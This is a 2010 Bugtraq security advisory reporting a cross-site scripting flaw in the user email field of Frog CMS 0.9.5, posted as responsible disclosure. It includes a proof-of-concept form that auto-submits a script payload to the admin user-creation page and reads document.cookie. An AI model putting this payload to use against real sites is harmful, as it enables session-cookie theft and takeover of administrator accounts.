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Date: Thu, 25 Nov 2010 10:50:07 +0100 (CET) From: advisory@...ridge.ch To: bugtraq@...urityfocus.com Subject: XSS vulnerability in Frog CMS Vulnerability ID: HTB22684 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_frog_cms_2.html Product: Frog CMS Vendor: Philippe Archambault ( http://www.madebyfrog.com/ ) Vulnerable Version: 0.9.5 and probably prior versions Vendor Notification: 09 November 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "frog/app/controllers/UserController.php" script to properly sanitize user-supplied input in "user[email]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/?/user/add" method="post" name="main"> <input type="hidden" name="user[name]" value=""> <input type="hidden" name="user[email]" value='"><script>alert(document.cookie)</script>'> <input type="hidden" name="user[username]" value=""> <input type="hidden" name="user[password]" value=""> <input type="hidden" name="user[confirm]" value=""> <input type="hidden" name="user_permission[editor]" value="3"> <input type="hidden" name="commit" value="Save"> </form> <script> document.main.submit(); </script>
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